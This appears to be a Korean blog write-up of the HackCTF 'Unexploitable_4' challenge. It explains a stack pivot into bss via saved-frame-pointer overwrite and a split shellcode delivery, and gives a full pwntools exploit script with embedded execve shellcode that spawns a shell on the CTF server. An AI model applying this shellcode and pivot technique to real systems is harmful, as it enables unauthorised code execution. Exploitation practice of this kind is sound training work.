# 보호기법 / file
# Process
SFP에 bss 영역의 주소를 넣으면 leave ret 시 bss로 이동한다.
그리고 다음으로 이동할 주소를 setup 이후 코드 주소로 준다. (다시 fgets로 입력받기 위해)
그럼 먼저 bss 영역에서 fgets() 함수로 입력받는다. 그 이유는 입력을 rbp+s로 하기 때문에 이전 SFP에 담긴 주소로 이동된 것이다.
bss 영역 앞부분에는 stdout같은 것이 담겨있으므로 bss+0x200으로 이동하도록 했다.
두 번째 fgets에서는 쉘코드를 넣어주는데 한 번에 입력이 안 된다. 따라서 디버깅으로 확인하면서 fgets 2번에 나눠서 담아줘야 한다.
그리고 다시 setup 다음으로 돌아가는 주소도 넣어줘야 한다.
쉘코드를 담고 확인해보면 b0 0b cd 80이 mov $0b, %al 과 int $0x80 instruction에 해당하는데 오류가 생긴다.
따라서 sub rbp, 0x100으로 먼저 해주고 쉘코드를 이어주면 해결된다.
pop rbp, rsp 시 rbp와 rsp 위에 ret이 쌓이고 그 아래로 값이 쓰이므로 값이 덮히게 된다. 따라서fgets 시 0x2c 입력받으므로 0x10 + 0x8 + 0x8 뒤에 shellcode 8바이트를 입력하고 다시 fgets 시 나머지 쉘코드를 입력한다.
이렇게 전달하면 제대로 쉘코드가 모두 전달된다.
# exploit code
#!/usr/bin/python
from pwn import *
context.log_level = 'debug'
#p = process("./Unexploitable_4")
p = remote("ctf.j0n9hyun.xyz", 3039)
elf = ELF("./Unexploitable_4")
libc = elf.libc
pop_rdi = 0x400763
pop_rsi_r15 = 0x400761
leave_ret = 0x4006f8
bss = elf.bss() + 0x200
pay = 'A'*0x10 + p64(bss) + p64(0x4006db)
p.sendline(pay)
#gdb.attach(p, 'b*0x4006db')
shellcode = "\x48\x81\xec\x00\x01\x00\x00" + "\x31\xf6\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x56\x53\x54\x5f\x6a\x3b\x58\x31\xd2\x0f\x05\x90"
p.sendline('A'*0x10 + p64(bss+0x10+0x8+0x8 + 0x8) + p64(0x4006db) + shellcode[:8])
p.sendline(shellcode[8:] + '\x90' + p64(0x601250))
p.interactive()
global _start |
_start: |
sub rsp, 0x100 |
쉘코드 뒤와 전달 시 사이의 '\x90'은 8바이트 정렬 위해 넣었다. \x00은 끊겨서 '\x90'으로 했다.
# exploit
[HackCTF] Unexploitable #3 (0) | 2020.04.20 |
---|---|
[HackCTF] babyfsb (0) | 2020.03.25 |
[HackCTF] j0n9hyun's secret (0) | 2020.03.25 |
[HackCTF] Welcome_REV (Reversing) (0) | 2020.03.09 |
[HackCTF] World best encryption tool (0) | 2020.03.09 |